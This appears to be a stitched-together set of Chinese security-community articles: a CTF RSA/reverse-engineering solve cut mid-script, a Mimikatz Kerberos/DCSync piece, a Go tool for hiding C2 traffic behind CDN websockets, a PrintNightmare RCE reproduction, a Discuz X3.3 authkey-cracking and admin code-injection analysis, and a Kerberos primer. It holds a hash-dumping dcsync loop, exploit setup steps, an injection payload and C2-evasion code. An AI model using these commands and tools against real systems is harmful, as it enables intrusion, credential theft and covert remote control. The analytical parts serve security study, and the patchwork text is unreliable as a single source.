c = 86974685960185109994565885227776590430584975317324687072143606337834618757975096133503732246558545817823508491829181296701578862445122140544748432956862934052663959903364809344666885925501943806009045214347928716791730159539675944914294533623047609564608561054087106518420308176681346465904692545308790901579479104745664756811301111441543090132246542129700485721093162972711529510721321996972649182594310700996042178757282311887765329548031672904349916667094862779984235732091664623511790424370705655016549911752412395937963400908229932716593592702387850259325784109798223415344586624970470351548381110529919234353
q=139916095583110895133596833227506693679306709873174024876891023355860781981175916446323044732913066880786918629089023499311703408489151181886568535621008644997971982182426706592551291084007983387911006261442519635405457077292515085160744169867410973960652081452455371451222265819051559818441257438021073941183
p=842868045681390934539739959201847552284980179958879667933078453950968566151662147267006293571765463137270594151138695778986165111380428806545593588078365331313084230014618714412959584843421586674162688321942889369912392031882620994944241987153078156389470370195514285850736541078623854327959382156753458569
e=65537
d=invert(e,(p-1)*(q-1))
m = pow(c,d,n)
print m
print libnum.n2s(m)
## RE
### polyre
使用 ida 载入后发现是控制流平坦化
参考
<https://paper.seebug.org/192/>
使用 angr 进行化简，得到关键算法。
程序两个循环，外层循环六次，每次拿 8 个字节，内层循环 64 次，进行加密。
加密伪代码:
i=0
#x=?
while(i<64):
if x>=0:
x=x<<1
else:
x=(x<<1)^0xB0004B7679FA26B3
i=i+1
exp:
#include<cstdio>
char encode[48] = { 0x96, 0x62, 0x53, 0x43, 0x6D, 0xF2, 0x8F, 0xBC, 0x16, 0xEE,0x30, 0x05, 0x78, 0x00, 0x01, 0x52, 0xEC, 0x08, 0x5F, 0x93,
0xEA, 0xB5, 0xC0, 0x4D, 0x50, 0xF4, 0x53, 0xD8, 0xAF, 0x90,
0x2B, 0x34, 0x81, 0x36, 0x2C, 0xAA, 0xBC, 0x0E, 0x25, 0x8B,
0xE4, 0x8A, 0xC6, 0xA2, 0x81, 0x9F, 0x75, 0x55 };
int main() {
long long* e = (long long*)encode;
for (size_t i = 0; i < 6; i++)
{
printf("%llxn", e[i]);
}
printf("n");
for (int i = 0; i < 6; i++) {
for (size_t j = 0; j < 64; j++)
{
if (!(e[i]&1) ) { e[i]= (unsigned long long) e[i]>> 1;}
else {
e[i] = ((unsigned long long)e[i] ^ 0xB0004B7679FA26B3) >> 1;
e[i] |= 0x8000000000000000;
}
}
}
for (size_t i = 0; i < 48; i++)
{
printf("%c", encode[i]);
}
} | 社区文章 |
# 从Mimikatz 解读windows 下的协议
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 了解Mimikatz
大家使用这个工具最多的就是提取密码，可能对其中涉及到的windows协议不了解，mimikatz项目的介绍当中：
> mimikatz is a tool I’ve made to learn C and make somes experiments with
> Windows security.
我们就来从其中来了解下windows 的协议。
## 0x02 kerberos 协议
我们先来大致使用下mimikatz 的kerberos 模块。
其中list,tgt和purge
list 列举出当前会话的所有缓存凭证，tgt列出当前会话的tgt信息：
purge 销毁所有的缓存凭证：
ptt: pass the ticket 以及golden/silver，中都涉及到了kerberos 协议(V5)的部分，我们就先来看看kerberos
协议的实现。
图的[来源](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/bb742516\(v=technet.10)，说明下这张图：
主要包含了3个部分：1.AS 服务 2.TGS 服务 3.C/S 端
1，2两个部分一起称为KEY DISTRIBUTION CENTER简称KDC，Client要向Server
请求数据就需要验证身份，在这个不安全的网络环境下必须要证明自己。这就需要一个信任度第三方来帮助完成验证，KDC就是为了这种需求所设计的服务。我们来解析上图中的流程（wireshark
抓包）：
1. KRB-AS-REQ:Client 通过用自身密码加密一个时间戳timestamp，向as服务验证身份，请求TGT。
2. KRB-AS-REP:AS服务使用client 的密码副本，解密对比是否符合timestamp要求，成功就是认证了client，生成一个短期的as-sessionkey，用client密码加密成密文1，另外将as-sessionkey+PAC（特权证书，指明了client所具有的权限）使用TGS服务的密码加密为密文2（这就是TGT），组成了KRB-AS-REP发送给client。
PAC:
1. KRB-TGS-REQ:client可以利用密码解密密文1，得到as-sessionkey，但是不能解密TGT（密文2），所以使用as-sessionkey加密时间戳与TGT一起发送到TGS服务，请求与server交流的server-sessionkey。
2. KRB-TGS-REP:TGS解密TGT得到as-sessionkey，在使用as-sessionkey解密时间戳部分，如果时间戳符合要求，就生成server-sessionkey，然后继续使用as-sessionkey加密server-sessionkey为密文1，利用server的密码加密server-sessionkey+PAC 为密文2（图中的service ticket），一同发给client。
1. KRB_AP_REQ:client 利用as-sessionkey 解密得到server-sessionkey，因为不能解密service ticket（4中的密文2），所以就无法伪造，再使用server-sessionkey 加密时间戳，与service ticket 一起发送到server 端，也解决了server可能无法及时接收SessionKey的问题。
1. KRB_AP_REP：server受到KRB_AP_REQ之后，利用server密码解密ServiceTicket，得到server-sessionkey，然后用server-sessionkey解密Authenticator得到时间戳，成功验证client的身份。
这样整个kerberos 协议的流程就完成了，其中都使用到了时间戳，所以域内都要时间同步才可以，整个协议设计的很是巧妙。
我们来说明下其中golden与ptt的使用：
从上图演示中，可以看出来在一个低权限域用户提升到管理员了，后面想要执行命令可以用psexec，也是不用输入密码的。其中godlen票据导出的时候，sid与krbtgt的ntlm，可以在原来有DC权限的时候，使用lsadump::lsa
/patch导出。
golden ticket
就是伪造了TGT，可以看到第二步中需要TGS服务密码加密，然而TGS就是kerberos的密码，修改PAC权限，这样就合法的伪造了TGT，就完成了一个权限提升的过程。
## 0x03 MS-DRSR协议
Mimikatz其中一个重要的模块：lsadump::dcsync ，使用DRSR向DC查询用户信息。我们先看一个使用例子：
for /f "tokens=1" %i in (username.txt) do @mimikatz.exe "lsadump::dcsync /user:%i /domain:localtest.com" exit >> info.txt
导出了第一列用户的hash信息：
SRSR介绍：
The Directory Replication Service (DRS) Remote Protocol is an RPC protocol for replication and management of data in Active Directory.
使用RPC协议，不会产生LOG，但是必须要有：Administrator 和 Domain controller。其中主要的函数：
客户端通过调用IDL_DRSBind获取特定DC的DRS_HANDLE，然后调用该DC上的任何其他drsuapi方法，并将DRS_HANDLE作为第一个参数传递。
直到客户端调用IDL_DRSUnbind，或直到服务器的DRS_HANDLE无效（例如崩溃），客户端的DRS_HANDLE仍然可用于进行方法调用。
与DRS_HANDLE关联的唯一状态是由IDL_DRSBind建立的状态。 只要DRS_HANDLE保持有效，该状态就是不变的。
因此，如果客户端通过对IDL_DRSBind使用相同的参数来为同一个DC创建两个绑定句柄，则drsuapi方法的服务器行为不受客户端传递给该方法的绑定句柄选择的影响。其中大多都是涉及一些函数调用，例如IDL_DRSGetNT4ChangeLog
这个方法用于支持Active Directory复制到Windows NT 4.0备份域的控制器（BDC）的实现。以及其中关于两个函数UUID的设置：
更多详细的过程看这里：[https://msdn.microsoft.com/en-us/library/cc228096.aspx](https://msdn.microsoft.com/en-us/library/cc228096.aspx%E3%80%82)。
## 0x04 总结
windows 应该是还是现在主流的办公系统，所以公司中windows
的域对企业就很重要，方便人员协作以及管理，但是如果不做好严格的权限控制，以及对服务器及时 的更新，就有可能这个企业内网都会被一举攻陷。例如ms14-068
和 ms11-013 都是出在windows 协议方面的漏洞，像MS17-010，也是SMB协议方面的问题。所以我们就要对windows
下的协议更加了解，才能挖到0day嘛。这里有一份windows 下的所有协议介绍:
<https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/Windows_Protocols.zip>
## 0x05 参考
1.https://github.com/gentilkiwi/mimikatz
2.https://msdn.microsoft.com/library/windows/desktop/aa378170.aspx
3.https://msdn.microsoft.com/en-us/library/cc228086.aspx
4.https://channel9.msdn.com/Events/Open-Specifications-Plugfests/Windows-Identity-and-Exchange-Protocols-Plugfest-2012/MS-DRSR-Windows-AD-Protocol-Test-Suite-Presentation-2012 | 社区文章 |
## 背景
隐藏C2流量最好的方法就是把C2的通信伪装成常见的合法通信。在控制好poll频率的情况下，将C2通信封装成与CDN通信的TLS流量可以说是很难引起注意了。
主流如Cloudflare和腾讯云的CDN，都支持websocket和HTTP2的代理。我们利用其中任意一种协议都能实现一个全双工的可被CDN代理的C2通信隧道。不过鉴于websocket应用更加广泛，这里就直接使用golang标准库的websocket来实现[我们的流量封装工具](https://github.com/jm33-m0/go-cdn2proxy)。
昨天下午写出了能用的版本，我个人的需求是把它作为一个扩展库给[我另外一个linux后渗透工具](https://github.com/jm33-m0/emp3r0r)使用，所以没有实现完整的socks5代理功能，而是仅仅将代理的连接与目标C2对接上，能实现C2的正常工作。
## 架构
整体的结构类似于这样：
其中，我们需要写的就是socks5代理和websocket server了。
socks5代理主要负责socks5协议实现，它与websocket服务器建立一个TLS封装的websocket连接，然后将被代理的TCP连接对接到这个websocket连接上。
websocket连接透过CDN，然后可能还透过Nginx，最后到达websocket服务器。
websocket服务器会与C2目标建立一个TCP连接，并将接到的客户端连接对接上去。至此，C2成功接到了受控端的连接，建立起C2通信。
## 使用
我推荐在linux上的用户直接使用[我的linux后渗透工具](https://github.com/jm33-m0/emp3r0r)，这样只需指定命令行参数即可无痛使用CDN代理C2。
其它场景下，go项目可以参照如下代码示例来调用：
server端
package main
import (
"log"
cdn2proxy "github.com/jm33-m0/go-cdn2proxy"
)
func main() {
err := cdn2proxy.StartServer("9000", "127.0.0.1:8000", os.Stderr)
if err != nil {
log.Fatal(err)
}
}
客户端
package main
import (
"log"
cdn2proxy "github.com/jm33-m0/go-cdn2proxy"
)
func main() {
err := cdn2proxy.StartProxy("127.0.0.1:10888", "wss://example.com/ws", "https://9.9.9.9/dns-query")
if err != nil {
log.Fatal(err)
}
}
如果你不用golang，可以直接将以上两个示例修改后编译，作为二进制程序配合你的C2使用。
## 演示 | 社区文章 |
**作者：天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/8qDQUu6FNpNjX1tY1KrAoQ>**
近日，有安全研究员在github上公开了"CVE-2021-1675"的exp
PrintNightmare，后经验证公开的exp是一个与CVE-2021-1675不同的漏洞，微软为其分配了新的编号CVE-2021-34527。这篇文章记录了CVE-2021-34527的复现过程，并对漏洞成因进行了简单的分析。
### 漏洞复现
这里记录域控环境下使用普通权限域账户实现RCE反弹`nt authority\system`
shell的过程。下面的漏洞复现和漏洞分析都是基于Windows server
2019，2021-6补丁的，winver=17763.1999。经笔者测试在无任何补丁的Windows server
2019，winver=17763.107环境下使用以下步骤也可以复现RCE。
#### 环境配置
实现RCE的条件如下：
1.一个普通权限的域账户，用另一台计算机使用该域账户登录加入域环境。其中域账户权限如下
2.域控主机需要能够访问到使用上述配置登录的计算机的一个共享目录，在Windows下可以使用smb实现，用管理员权限的powershell运行以下命令即可
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
运行完命令重启生效。
#### 复现
GitHub上有2个公开的exp，python版本的<https://github.com/cube0x0/CVE-2021-1675>
和C版本的<https://github.com/afwu/PrintNightmare> ，其中C版本的是从Zhiniang Peng
(@edwardzpeng) & Xuefeng Li (@lxf02942370)公开的exp fork来的。
这两个版本的exp原理都是一样的，也都是可用的，其中python版本的exp需要按照说明文档安装exp作者的impacket库，其余不需要修改任何东西。
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
c++版本的exp需要把第112行UNIDRV.DLL的路径修改为域控主机对应的路径，如笔者这里对应的路径应修改为：
//info.pDriverPath = (LPWSTR)L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_19a3fe50fa9a21b6\\Amd64\\UNIDRV.DLL";
info.pDriverPath = (LPWSTR)L"C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL";
其余不需要修改任何东西，使用vs编译即可。
python版本exp命令及RCE截图：
c++版本exp命令及RCE截图：
### 漏洞分析
#### 漏洞根原
漏洞的关键在于localspl!SplAddPrinterDriverEx中调用InternalAddPrinterDriverEx加载驱动前的验证ValidateObjectAccess是可以被跳过的。如下localspl!SplAddPrinterDriverEx中的汇编代码为存在漏洞可以导致ValidateObjectAccess被绕过的代码。
.text:0000000180085F25 loc_180085F25: ; CODE XREF: SplAddPrinterDriverEx+3F↑j
.text:0000000180085F25 bt esi, 0Fh ; esi=dwFileCopyFlags
.text:0000000180085F29 mov ebx, 0
.text:0000000180085F2E cmovnb ebx, [rsp+58h+arg_30] ; [rsp+0x90]=1
.text:0000000180085F2E ; CF=1,不进行移位
.text:0000000180085F36 test ebx, ebx
.text:0000000180085F38 jz short loc_180085F64
.text:0000000180085F3A mov rax, cs:pLocalIniSpooler
.text:0000000180085F41 xor r9d, r9d
.text:0000000180085F44 and [rsp+58h+var_30], 0
.text:0000000180085F49 xor r8d, r8d
.text:0000000180085F4C xor ecx, ecx
.text:0000000180085F4E mov [rsp+58h+var_38], rax
.text:0000000180085F53 lea edx, [r9+1]
.text:0000000180085F57 call ?ValidateObjectAccess@@YAHKKPEAXPEAKPEAU_INISPOOLER@@W4SERVER_MANAGEMENT_ACCESS_REQUEST@@@Z ; ValidateObjectAccess(ulong,ulong,void *,ulong *,_INISPOOLER *,SERVER_MANAGEMENT_ACCESS_REQUEST)
...
.text:0000000180085F64 loc_180085F64: ; CODE XREF: SplAddPrinterDriverEx+98↑j
.text:0000000180085F64 ; SplAddPrinterDriverEx+BE↑j
.text:0000000180085F64 and [rsp+58h+var_20], 0
.text:0000000180085F6A mov r9d, esi
.text:0000000180085F6D mov eax, [rsp+58h+arg_28]
.text:0000000180085F74 mov r8, r14
.text:0000000180085F77 mov [rsp+58h+var_28], ebx
.text:0000000180085F7B mov edx, r15d
.text:0000000180085F7E mov [rsp+58h+var_30], eax
.text:0000000180085F82 mov rcx, rdi
.text:0000000180085F85 mov [rsp+58h+var_38], rbp
.text:0000000180085F8A call InternalAddPrinterDriverEx
其中esi为dwFileCopyFlags，是一个调用者可控的参数，`bt esi,0xf`
将esi中偏移0xf的比特位保存到CF标志位，即CF标志位与esi的0x10比特位相同，dwFileCopyFlags=0x8014时CF=1。`cmovnb
ebx, [rsp+58h+arg_30]` 即mov if not
below，cmovnb会检测CF标志位是否为0且当CF为0时进行移位操作，此时[rsp+0x90]=1，CF=1不会将ebx赋值为1。调试现场如下
由于ebx=0，`jz short loc_180085F64`
会跳转到InternalAddPrinterDriverEx处执行后续复制并加载驱动的操作，跳过了0x180085F57处ValidateObjectAccess的检测。
#### InternalAddPrinterDriverEx
RpcAddPrinterDriverEx会在spoolsv!RpcAddPrinterDriverEx处解析，调用到localspl!LocalAddPrinterDriverEx处的回调，并最终由于localspl!SplAddPrinterDriverEx处的验证ValidateObjectAccess无效导致可以调用到localspl!InternalAddPrinterDriverEx加载驱动并执行。
调用到localspl!SplAddPrinterDriverEx时的栈回溯如下
0:009> k
# Child-SP RetAddr Call Site
00 0000001f`7f83e938 00007ffc`fb225852 localspl!SplAddPrinterDriverEx
01 0000001f`7f83e940 00007ff6`6c23ba9f localspl!LocalAddPrinterDriverEx+0xa2
02 0000001f`7f83e990 00007ff6`6c215ffe spoolsv!AddPrinterDriverExW+0x6f
03 0000001f`7f83e9d0 00007ff6`6c212c71 spoolsv!YAddPrinterDriverEx+0x2ce
04 0000001f`7f83ea10 00007ffd`027184a3 spoolsv!RpcAddPrinterDriverEx+0x181
...
2021-6的补丁中在spoolsv!RpcAddPrinterDriverEx中调用YAddPrinterDriverEx加载驱动前加了几处校验，如下右为补丁后的spoolsv.exe。补丁后YIsElevated、RunningAsLUA分别校验了当前用户的token和LUA权限，这两处校验在RCE中可以通过IPC被绕过；YIsElevationRequired检验了`HKEY_LOCAL_MACHINE\Software\\Policies\\Microsoft\\Windows
NT\\Printers\\PointAndPrint\NoWarningNoElevationOnInstall`
的注册表项，但是笔者在2021-6全补丁的Windows
server和Windows10系统上均未发现有该注册表项，所以这个缓解在目前来看也是无效的。（这两处缓解可能是针对Yunhai Zhang和ZhiPeng
Huo提供的CVE-2021-1675的poc）
随后由于spoolsv!AddPrinterDriverExW调用到localspl!LocalAddPrinterDriverEx处的回调，又由于上述分析的localspl!SplAddPrinterDriverEx中验证无效进入localspl!InternalAddPrinterDriverEx的流程。
localspl!InternalAddPrinterDriverEx主要进行了如下操作，其中`%spooler%=C:\Windows\System32\spool\`
1.ValidateDriverInfo进行驱动签名等的检查
2.CreateInternalDriverFileArray创建spooler目录下的驱动文件，即%spooler%\drivers\x64
3.GetPrintDriverVersion、CheckFilePlatform检查驱动版本和驱动运行平台
4.SplIsCompatibleDriver进行驱动版本和驱动兼容性检查，驱动版本号只能为3
5.CreateVersionDirectory使用提供的驱动版本号，创建spooler目录下驱动版本号目录，由于驱动版本号只能为3，最终目录为%spooler%\drivers\x64\3
6.CopyFilesToFinalDirectory创建%spooler%\3目录下New、Old文件夹，创建New、Old目录下的临时目录，如%spooler%\drivers\x64\3\Old\1、%spooler%\drivers\x64\3\Old\2；并将上传的驱动移动到临时目录下
7.WaitRequiredForDriverUnload加载6中临时目录下的驱动，路径如%spooler%\drivers\x64\3\old\1\xx.dll
##### ValidateDriverInfo
localspl!ValidateDriverInfo在如下代码会校验加载驱动的签名，可以使用0x8000的dwFileCopyFlags绕过，0x8000即RpcAddPrinterDriverEx
的API文档中提到的APD_INSTALL_WARNED_DRIVER，翻译过来即强制加载驱动。
##### CreateInternalDriverFileArray
localspl!CreateInternalDriverFileArray中会使用如下代码根据RpcAddPrinterDriverEx
的dwFileCopyFlags参数生成CreateFile的参数，a5=1会使用%spooler%目录下路径做为CreateFile的参数；RCE利用时我们上传的驱动此时是在一个UNC路径下，如笔者本地为`\\192.168.18.153\share\rev.dll`
，所以这里需要构造dwFileCopyFlags&0x10=1使spooler使用我们的UNC路径。
其中a5参数从localspl!LocalAddPrinterDriverEx这里传入，
##### SplIsCompatibleDriver
localspl!SplIsCompatibleDriver会检查将要加载的驱动的版本号，版本号v117只能为3
其中v117会在localspl!InternalAddPrinterDriverEx这里校验两次，v117==2和v117>3都会导致驱动加载失败。
localspl!SplIsCompatibleDriver检查驱动兼容性时会调用到ntprint!PSetupIsCompatibleDriver，最终会调用到如下代码，其中a6=v117为驱动版本号，当v117<=2时返回0会导致驱动加载失败。
综上，当v117==2、v117>3、v117<=2时均会最终导致驱动加载失败，v117只能为3。
##### CopyFilesToFinalDirectory
localspl!CopyFilesToFinalDirectory主要是创建%spooler%\drivers\x64\3\New、%spooler%\drivers\x64\3\Old，并创建临时目录如
%spooler%\drivers\x64\3\Old\1，将UNIDRV.DLL、kernelbase.dll、rev.dll依次从C:\Windows\System32\spool\drivers\x64\3\New、C:\Windows\System32\spool\drivers\x64\3里使用MoveFileExW移动到%spooler%\drivers\x64\3\Old\1里。
最终在localspl!CompleteDriverUpgrade里更新所加载驱动的信息并加载上述临时目录下的驱动。
### 总结
据Zhiniang Peng (@edwardzpeng) & Xuefeng Li (@lxf02942370)在最初公开的exp
README里描述，spooler的漏洞最初用于10年前的震网（Stuxnet）攻击，10年间spooler模块也被披露了许多漏洞，但不知是因为微软补丁修复的不彻底还是spooler模块本身实现起来的复杂性导致了CVE-2021-1675和CVE-2021-34527的出现。微软已于2021.7.7发布了一个紧急安全更新补丁，希望微软的这个补丁能使spooler更安全一些吧;p
### 参考
<https://github.com/cube0x0/CVE-2021-1675>
<https://github.com/afwu/PrintNightmare>
* * * | 社区文章 |
# 【漏洞分析】Discuz X3.3补丁安全分析
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：360网络安全响应中心 & 360信息安全部0KEE Team
**0x00 背景介绍**
Discuz官方于2017年8月1号发布最新版X3.4版本，在最新版本中修复了多个安全问题。360CERT和360 0KEE Team遂对该事件进行跟进。
**0x01 漏洞概述**
**360CERT** 和 **360 0KEE Team** 通过对比 **Discuz_X3.3_SC_UTF8** 与
**Discuz_X3.4_SC_UTF** **8** 版本，发现 **X3.3_SC_UTF8** 版本存在数个漏洞。本报告主要涉及两个漏洞：
**1\. authkey生成算法的安全性问题：**
用户在初次安装软件时，系统会自动生成一个authkey写入全局配置文件和数据库，之后安装文件会被删除。该authkey用于对普通用户的cookie进行加密等密码学操作，但是由于生成算法过于简单，可以利用公开信息进行本地爆破。
**2\. 后台任意代码执行问题：**
管理员在后台对数据库连接密码进行修改时，由于没有对输入进行检查，导致任意代码执行。
**0x02 漏洞攻击面影响**
**1\. 影响面**
Discuz基本上是基于Cookie而非Session，所以一旦authkey被获取，将导致Cookie的加密失效，进而可以解密Cookie的auth字段获取用户的密码。系统中其他逻辑也大量使用了authkey和authcode算法，该漏洞可导致一系列安全问题：伪造ulastactivity可控制session持久时间；邮箱校验的hash参数被破解，导致任意邮箱注册等。
另外一旦拥有一个管理员账号，则可利用后台任意代码执行漏洞，在后台Getshell进而控制服务器。
经过360CERT与360 0KEE Team研判后确认， **漏洞风险等级高，影响范围广** 。
**2\. 影响版本**
通过代码分析，确定涉及如下版本：
Discuz_X3.3_SC_GBK
Discuz_X3.3_SC_UTF8
Discuz_X3.3_TC_BIG5
Discuz_X3.3_TC_UTF8
Discuz_X3.2_SC_GBK
Discuz_X3.2_SC_UTF8
Discuz_X3.2_TC_BIG5
Discuz_X3.2_TC_UTF8
Discuz_X2.5_SC_GBK
Discuz_X2.5_SC_UTF8
Discuz_X2.5_TC_BIG5
Discuz_X2.5_TC_UTF8
**3\. 修复版本**
Discuz_X3.4_SC_GBK
Discuz_X3.4_SC_UTF8
Discuz_X3.4_TC_BIG5
Discuz_X3.4_TC_UTF8
**0x03 漏洞详情**
**1\. authkey生成算法的安全性漏洞**
**Discuz_X3.3_SC_UTF8uploadinstallindex.php** 中
authkey的生成方法如下：
$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);
可以看出authkey主要由两部分组成：
MD5的一部分（前6位） + random生成的10位
跟入random函数
由于字符生成集合是固定的，且没有重复字符，那么函数中每一次生成hash都唯一对应了chars数组中的一个位置，而且是使用同一个seed生成的。
在之后的代码中使用了同样的random函数：
$_config['cookie']['cookiepre'] = random(4).'_';
Cookie的前四个字节是已知的，并且使用了同样的random函数，那么思路很明显：
通过已知的4位，算出random使用的种子，进而得到authkey后10位。那剩下的就需要搞定前6位，根据其生成算法，只好选择爆破的方式，由于数量太大，就一定要选择一个本地爆破的方式（即使用到authkey而且加密后的结果是已知的）。
在调用authcode函数很多的地方都可以进行校验，在这里使用找回密码链接中的id和sign参数：
sign生成的方法如下：
function dsign($str, $length = 16){
return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16));
}
爆破authkey 的流程：
1.通过cookie前缀爆破随机数的seed。使用php_mt_seed工具。
2.用seed生成random(10)，得到所有可能的authkey后缀。
3.给自己的账号发送一封找回密码邮件，取出找回密码链接。
4.用生成的后缀爆破前6位，范围是0x000000-0xffffff，和找回密码url拼接后做MD5求出sign。
5.将求出的sign和找回密码链接中的sign对比，相等即停止，获取当前的authkey。
**2\. 后台任意代码执行漏洞**
对比X3.4与X3.3版本发现漏洞存在于：
**uploadsourceadmincpadmincp_setting.php**
在 **2535**
行左右，在后台对UCenter的密码进行更新的时候，没有对输入的密码进行检查，直接写入到配置文件，导致我们可以闭合前面的单引号从而达到getshell的目的，这里仅做了一个连接测试，如果连接成功则写入配置文件。
**0x04 漏洞利用验证**
**1\. authkey生成算法的安全性漏洞**
使用一个普通用户登录：
获取cookie前4位：uie7
使用上述脚本整理成php_mt_seed的参数格式：
接着再用php_mt_seed生成seed：
这里php_mt_seed的参数是：
0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 610 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 56 56 0 61 44 44 0 61 40 40 0 61 33 33 0 61
在这里需要注意：
php_mt_seed多参数时是4个数为一组，含义如下图：
我们拿到的是第11-14次的随机数，要去估算第1-10次的，所以前面要空10组位置。
得到所有的种子后（约250-300），使用如下脚本处理得到所有可能的random(10):
然后重置密码，得到找回链接：
整理后执行爆破脚本：
最后破解出来为： **7e2000vULc0oQETA**
对比数据库中数据，可以看出是一致的。
**2\. 后台任意代码执行漏洞**
在管理员输入UCenter的密码时，对于用户的输入没有过滤，导致了输入的数据直接写入文件中，利用步骤如下：
1.以管理员身份登录后台
2.设置一个可以远程访问的mysql，密码为： **123′);phpinfo();//**
3.修改UCenter 数据库密码为上述密码
4.更新后即Getshell
配置文件中的内容也被修改：
**0x05 修复建议**
Discuz官方已经在2017年8月1日发布最新版，请用户检查自己使用的版本，并及时更新至最新版。
**0x06 时间线**
_2017-08-01_ Discuz官方安全更新
_2017-08-07_ 360CERT和0KEE Team完成对新版本的首次分析
_2017-08-22_ 360CERT和0KEE Team完成对后续分析并形成报告
**0x07 参考文档**
<https://git.oschina.net/ComsenzDiscuz/DiscuzX/commit/8446bd9e897bb19672389cc4aed42716ccd0f537>
<https://git.oschina.net/ComsenzDiscuz/DiscuzX/commit/bb600b8dd67a118f15255d24e6e89bd94a9bca8a>
<http://www.openwall.com/php_mt_seed/> | 社区文章 |
# 走进森林深处（一）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在比赛期间，往往获得分数的应该在内网。内网资产的脆弱性和其架构的沉重性是安全所能针对的，这个系列我想分享下在内网域中常用的手段和一些理论知识。起初，我纠结了很久。我在想文章到底应不应该讲一些理论知识，因为夹杂一些理论知识往往会让读者失去耐心和看下去的勇气，但是最终我的结论是需要。在我面试了多家之后我发现，似乎原理性的侧重点居多，也是恰恰最需要的，事物的本质是如此重要。网上的域相关内容数不胜数，但是看起来总缺乏连贯性,缺乏实战应用和理论的相结合此为其一，其二是分享也是我在学习和巩固的过程，文章也是记录我学习的点滴，这是我开启这个系列的原因。也希望没有讲到之处各位读者海涵，本文的面向人群也并非大佬。
## kerberos产生的过程
要理解kerberos协议，应该首先知道为什么产生它。
### 1.kerberos解决什么痛点
起初计算机采用的都是分时操作系统，大家都来使用一个计算机，它存在的意义在于，一台计算机按照时段给不同的用户使用，每个用户都觉得是自己的计算机，提高了资源的使用率。但是，它让用户觉得时间臃肿，占用计算机并不是长久的，所以效率低下。但是给每个用户分配一台计算机，一台打印机，一台邮件服务器又不太可能。所以提出一种假想，把软件放到一台服务器上，专门一台打印机服务，专门一台邮件服务器。用户去访问和使用，然后做自己想做的事情。问题在于，例如邮箱服务器，我会用你的用户名去收发邮件和取文件，所以，如何让服务器知道我不是你？
### 2.kerberos的完善1
于是下个遐想产生，在登陆邮件服务器时，需要提供账户跟密码以此来验证身份。但是，若如此做，一台邮件服务器应存储几千个用户，一台打印机存储几千个用户。如果一个用户的密码修改，这些服务的密码都要修改。于是，将认证服务单独抽离显得必不可少。这台认证服务存储着所有用户的账号密码进行集中管理。例如，在使用邮件服务器时，将你的账号密码告诉认证服务，认证服务返回邮件系统的账号密码，以便使用…..但是，如果下次在使用，使用邮件服务器的账号密码直接登陆就绕过了认证服务…..
### 3.kerberos的完善2
下一个遐想产生，取而代之的是：认证服务本该给你邮件服务器的账号密码，替换成了一张票。使用这张票来访问邮件服务器，这张票包含用户的用户名并且用邮件服务器的密码来进行加密。邮件服务器拿到这张票时用自己的密码进行解密得到用户的用户名是否正确来确定是否可以被使用。还有一个问题就是，邮件服务器如何知道这张票是被正确解密的？所以票中还应该加上邮件服务器的名称。当邮件服务器用自己的密码解密这张票时，得到用户的用户名以确定用户的权限；得到服务名来确定这张票已被正确解密….所以票的内容应该如下所示：
**票{用户名:服务名}**
但是，重新梳理逻辑。在用户需要使用邮件服务器时，将自己的名字发送给认证服务。认证服务返回一张票，这张票包含用户名和服务名。但是在这其中这张票被窃取了，窃取者将自己的用户名更改为被窃取者的用户名一样可以访问邮件服务器……
### 4.kerberos的完善3
下一个遐想的产生，在防止认证服务返回票给用户时，被窃取票。票中加入另一项认证因素:IP地址
在邮件服务器用自己的密码解密之后获得用户的用户名和IP地址以及自己的服务名，在用户名确定的情况下再次确定IP地址以防止票被窃取。所以票的内容如下所示:
**票{用户名:IP:服务名}**
但是还有一个问题，如果我使用完邮件服务器再去使用文件服务器时，我需要将用户名密码再次发送到认证服务中重新获取文件服务器的票。这样多次输入密码过于繁琐，密码在网络中传输也会有过多其他的问题…..
### 5.kerberos的完善4
下一个遐想的产生，解决上一个提出的第一个问题，多次输入密码。在引入一个对象进来，这个对象叫做票据授权。采用上文相同的流程，向认证服务获取票，这个票叫做票据授权票，用户拿着这个票据授权票再去访问票据授权的服务获取邮件服务器的票，文件服务器的票。与上个小节不同的是，向认证服务获取的票据授权的票是不需要每次都申请的。只需要申请一次，然后拿着这个票去访问票据授权服务获得不同的票解决了上一个小结的第一个疑问重复输入密码。
上小结的第二个疑问，密码传输的问题。其实不用，用户向认证服务获取票据授权的票时只需要输入用户名，然后认证服务读取数据库此用户名的密码。用此用户名的密码加密此票然后发送给用户，用户输入密码解密此数据包。如果解密成功即拥有了票据授权的票。然后去访问票据授权服务取其他服务的票。然后给这个票加上使用期限，这个票如下所示:
**票{用户名:IP:服务名:有限期:时间戳}**
但是又出现一个问题，IP和用户名不能伪造嘛……
